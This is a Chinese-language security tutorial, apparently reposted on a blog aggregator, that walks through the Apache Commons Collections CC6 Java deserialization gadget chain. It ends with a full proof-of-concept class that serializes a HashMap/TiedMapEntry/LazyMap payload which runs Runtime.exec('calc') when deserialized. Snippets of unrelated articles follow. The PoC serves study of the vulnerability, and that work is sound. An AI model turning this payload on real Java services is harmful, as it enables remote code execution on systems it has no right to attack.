Java安全 反序列化(5) CC6链原理分析

Java安全 反序列化(5) CC6链原理分析

CC6学习的目的在于其可以无视jdk版本,这条链子更像CC1-LazyMap和URLDNS链子的缝合版

文章目录

  • Java安全 反序列化(5) CC6链原理分析
  • 前言
  • 一.CC6的原理和实现以及易错点
    • 我们如何实现调用LazyMap.get()方法
    • 一个易错点
  • 二.完整CC6POC

前言

上篇文章我们通过LazyMap.get()方法实现ChainerTransformer的链式调用

但是我们再次依赖了AnnotationInvocationHandler作为我们反序列化后的入口类

在JDK 8u71以后开发者重写了AnnotationInvocationHandler使我们依赖AnnotationInvocationHandler 调用LazyMap.get()TransformerMap.checkSetValue实现ChaindeTransformer.transform()方法失效

如何让调用ChaindeTransformer.transform()执行任意命令可以无视JDK版本?

我们知道URLDNS链具有普遍性,我们可以同样通过HashMap实现入口类吗?

通过自动调用hashcode方法最终实现ChainerTransformer的链式调用

一.CC6的原理和实现以及易错点

我们如何实现调用LazyMap.get()方法

如果我们查找用法,会发现非常多的结果

image-20240322164733384

前辈们通过TiedMapEntry类实现 HashMapLazyMap的联系

回顾一下HashMap重写了readobject方法

putVal(hash(key), key, value, false, false);
static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }

调用了传入键值对象的hashCode方法

而TiedMapEntry同样有同名函数hashCode方法,可以实现链式的转移

image-20240322170023348

hashCode方法调用了自身getValue方法

而恰好getValue方法可以调用传入map的get方法

image-20240322170148274

map我们可以控制,修改为LazyMap,不就是和CC1-LazyMap的后半部分一模一样

我们可以直接拿上篇文章的payload进行修改后半段

        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})

        };
        HashMap<Object,Object> hashmap=new HashMap<>();
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map<Object,Object> lazymap= LazyMap.decorate(hashmap,chainedTransformer);

TiedMapEntry接受Map map,Object key

image-20240322170650821

我们需要控制map为LazyMap对象,key值任意

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"key");

而HashMap中控制key值为tiedMapEntry

HashMap<Object,Object> map2= new HashMap<>();
map2.put(tiedMapEntry,1);

一个易错点

当我们不反序列化时,直接执行代码,居然也可以RCE

        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})

        };
        HashMap<Object,Object> hashmap=new HashMap<>();
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map<Object,Object> lazymap= LazyMap.decorate(hashmap,chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"key");
        HashMap<Object,Object> map2= new HashMap<>();
        map2.put(tiedMapEntry,1);



    }

image-20240322171633815

原因和URLDNS链那里一样,因为HashMap的put方法也可以调用hashcode方法

对我们的结果造成干扰

image-20240322160435862

因此我们应该和URLDNS链操作一致,先不让CC链触发,实现后触发

如何操作?

Map<Object,Object> lazymap= LazyMap.decorate(hashmap,new ConstantTransformer(1));

我们可以随便传个new ConstantTransformer(1)代替chainedTransformer

使它put时不触发,put后再传回正确的值

同时还要注意再LazyMap.get()方法中想要实现ChainedTransformer.transform()就必须保证LazyMap的Key为空

image-20240322173115626

而HashMap.put()方法后,返回了key值,因此key不再为空,后续不可以触发

factory.transform(key)过不了判断

image-20240322174554789

所以put后我们删除LazyMap的键值

lazymap.remove("key");

再通过反射修改LazyMap.decorate(hashmap,new ConstantTransformer(1));中的键为ChaindeTransformer
在运行时动态触发poc

 Class c=LazyMap.class;
        Field factory = c.getDeclaredField("factory");
        factory.setAccessible(true);
        factory.set(lazymap,chainedTransformer);

image-20240322175554734

可以实现RCE

二.完整CC6POC

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC6 {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {

        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})

        };
        HashMap<Object,Object> hashmap=new HashMap<>();
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map<Object,Object> lazymap= LazyMap.decorate(hashmap,new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"key");
        HashMap<Object,Object> map2= new HashMap<>();
        map2.put(tiedMapEntry,1);
        lazymap.remove("key");
        Class c=LazyMap.class;
        Field factory = c.getDeclaredField("factory");
        factory.setAccessible(true);
        factory.set(lazymap,chainedTransformer);
        serialize(map2);
        unserialize();
        





    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new
                FileOutputStream("ser.bin"));
        oos.writeObject(obj);
        oos.close();
    }
    public static void unserialize() throws IOException, ClassNotFoundException
    {
        ObjectInputStream ois = new ObjectInputStream(new
                FileInputStream("ser.bin"));
        ois.readObject();
        ois.close();
    }
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/480025.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

亚马逊服务器ssh以及scp

ssh awspass.pem为创建服务器时创建的密钥&#xff0c;ubuntu用户 ssh -i "awspass.pem" ubuntuipscp scp -i "awspass.pem" -r dist/* ubuntuip:/home/ubuntu/

macOS下Java应用的打包和安装程序制作

文章目录 macOS应用程序结构Java应用打包JavaAppLauncherjpackage其它相关JDK命令附录JavaAppLauncher源码链接macOS应用程序结构 macOS通常以dmg或pkg作为软件发行包,安装到/Applications下后,结构比较统一。 info.plist里的CFBundleExecutable字段可以指定入口,如果不指定…

使用uniapp 的 plus.sqlite 操作本地数据库报错:::table xxx has no column named xxxx

背景&#xff1a; 1、使用uniapp 的 plus.sqlite 进行APP本地数据库操作 2、SQLite 模块用于操作本地数据库文件&#xff0c;可实现数据库文件的创建&#xff0c;执行SQL语句等功能。 遇到&#xff1a;在之前创建的表上进行新增字段的操作时候&#xff0c;出现问题&#xff1a…

蓝桥杯 2022 省B 砍竹子

思路&#xff1a; 非常明显&#xff0c;这题是个贪心。因为这题是求最小操作次数&#xff0c;而且每次操作都会变小&#xff0c;所以肯定要优先操作大的元素&#xff0c;这样它变小之后才可能和其它元素一起操作以减少操作次数。 所以&#xff1a;建立两个数组&#xff0c;一…

Canine IP-10/CXCL 10 ELISA试剂盒上新

科研用Canine IP-10/CXCL 10 ELISA试剂盒重磅来袭&#xff0c;将在免疫学、癌症研究与神经科学等多个领域助力各位老师们的研究&#xff01; 图1&#xff1a;犬IP-10/CXCL10结构预测&#xff08;图片来源&#xff1a;UniProt&#xff09; C-X-C基序趋化因子(C-X-C motif chemok…

绿色节能|AIRIOT智慧建材能耗管理解决方案

建材供应是建筑业不可或缺的一个重要环节&#xff0c;在环保和企业可持续发展的双重需求下&#xff0c;建材生产商对建材生产过程中的能耗掌握和能耗管理尤其关注。但在实际生产和运营过程中&#xff0c;传统的建材能耗管理方式往往存在如下痛点&#xff1a; 用户管理权限不完善…

什么是单点登录?

单点登录&#xff08;Single Sign On&#xff0c;简称 SSO&#xff09;简单来说就是用户只需在一处登录&#xff0c;不用在其他多系统环境下重复登录。用户的一次登录就能得到其他所有系统的信任。 为什么需要单点登录 单点登录在大型网站应用频繁&#xff0c;比如阿里旗下有淘…

Unity发布webgl之后打开PDF文件,不使用js,不和浏览器交互

创建一个按钮&#xff0c;然后点击就会打开 在webgl下要使用这样的路径拼接&#xff0c;不然就会报错。 btnBook.onClick.AddListener(() >{var uri new System.Uri(Path.Combine(Application.streamingAssetsPath "/Books", "文档.pdf"));Debug.Log…

短视频矩阵系统---php7.40版本升级自研

短视频矩阵系统---php7.40版本升级自研 1.部署及搭建 相对于其他系统&#xff0c;该系统得开发及部署难度主要在各平台官方应用权限的申请上&#xff0c;据小编了解&#xff0c;目前抖音短视频平台部分权限内侧名额已满&#xff0c;巧妇难为无米之炊&#xff0c;在做相关程序…

Xilink 简单双口ram ip的读写仿真

简单双口RAM有两个端口Port A和port B,其中Port A用于写数据,Port B用于读数据,读写接口可以独立时钟工作。这一点和真双口RAM是有区别的,真双口RAM的A B两个Port都可以进行读写操作。 RAM是FPGA中重要的数据结构,可用于数据的缓存和跨时钟域信号处理。本文就xilin…

Java项目:71 ssm基于ssm+vue的外卖点餐系统+vue

作者主页&#xff1a;舒克日记 简介&#xff1a;Java领域优质创作者、Java项目、学习资料、技术互助 文中获取源码 项目介绍 系统功能 系统分为前台订餐和后台管理&#xff1a; 1.前台订餐 用户注册、用户登录、我的购物车、我的订单、商品列表 2.后台管理 商品管理&#xf…

基于OpenCV的图像处理案例之图像矫正(Python)

Index 目录索引 写在前面解决思路参考 写在前面 本文通过一个案例介绍如何使用OpenCV将倾斜的扫描文档图像进行水平矫正。 解决思路 因为扫描图像中的大部分文字倾斜后&#xff0c;同一行文字也在同一条直线&#xff0c;所以可以通过拟合直线来计算文本倾斜角度&#xff0c;…

《剑指 Offer》专项突破版 - 面试题 89 和 90 : 房屋偷盗和环形房屋偷盗(C++ 实现)

目录 面试题 89 : 房屋偷盗 面试题 90 : 环形房屋偷盗 面试题 89 : 房屋偷盗 题目&#xff1a; 输入一个数组表示某条街道上的一排房屋内财产的数目。如果这条街道上相邻的两幢房屋被盗就会自动触发报警系统。请计算小偷在这条街道上最多能偷取到多少财产。例如&#xff0c…

Kafka 3.x(上)

具体课程请看课程简介_哔哩哔哩_bilibili 概念 分布式流处理平台&#xff0c;它以高吞吐量和可扩展性而闻名。相同类型的消息存在于Topic主题中&#xff0c;主题类似于数据库中的表&#xff0c;不过主题存储的数据大多是半结构化的。主题可以包含多个分区&#xff08;分布式的…

STM32之HAL开发——手动移植HAL库

HAL库移植步骤 创建目录 配置启动文件 在\Drivers\CMSIS\Device\ST\stm32f1xx\Source\Templates\ARM目录下&#xff0c;根据你的芯片型号选择对应的启动文件&#xff0c;不同容量大小的芯片&#xff0c;对应的启动文件也不一样。 注意&#xff1a;在HAL库中&#xff0c;不同容…

Git多分支管理实践

想要实现本地文件对远程文件的管理&#xff0c;必须懂得Git的相关操作。 工作中不免会遇到一个仓库多个分支的管理。 git多分支管理属于git的进阶版操作&#xff0c;下面我们来看看。 1. 拉取一个git仓库 git仓库名假设为&#xff1a;test_demo&#xff0c;默认是主仓库&…

企业如何利用数字工厂管理系统打造自动化产线

随着信息技术的飞速发展&#xff0c;数字化转型已成为企业提升生产效率、降低成本、优化管理的重要手段。数字工厂管理系统作为数字化转型的核心组成部分&#xff0c;其在打造自动化产线方面的作用日益凸显。本文将探讨企业如何利用数字工厂管理系统打造自动化产线&#xff0c;…

华为配置WLAN 802.1X认证实验

配置WLAN 802.1X认证示例 组网图形 图1 配置802.1X认证组网图 业务需求组网需求数据规划配置思路配置注意事项操作步骤 业务需求 用户接入WLAN网络&#xff0c;使用802.1X客户端进行认证&#xff0c;输入正确的用户名和密码后可以无线上网。且在覆盖区域内移动发生漫游时&…

【前端寻宝之路】学习和总结HTML表格的实现和合并

&#x1f308;个人主页: Aileen_0v0 &#x1f525;热门专栏: 华为鸿蒙系统学习|计算机网络|数据结构与算法|MySQL| ​&#x1f4ab;个人格言:“没有罗马,那就自己创造罗马~” #mermaid-svg-IWDj0gWiFt6IMq3x {font-family:"trebuchet ms",verdana,arial,sans-serif;f…

软件杯 深度学习 机器视觉 人脸识别系统 - opencv python

文章目录 0 前言1 机器学习-人脸识别过程人脸检测人脸对其人脸特征向量化人脸识别 2 深度学习-人脸识别过程人脸检测人脸识别Metric Larning 3 最后 0 前言 &#x1f525; 优质竞赛项目系列&#xff0c;今天要分享的是 &#x1f6a9; 深度学习 机器视觉 人脸识别系统 该项目…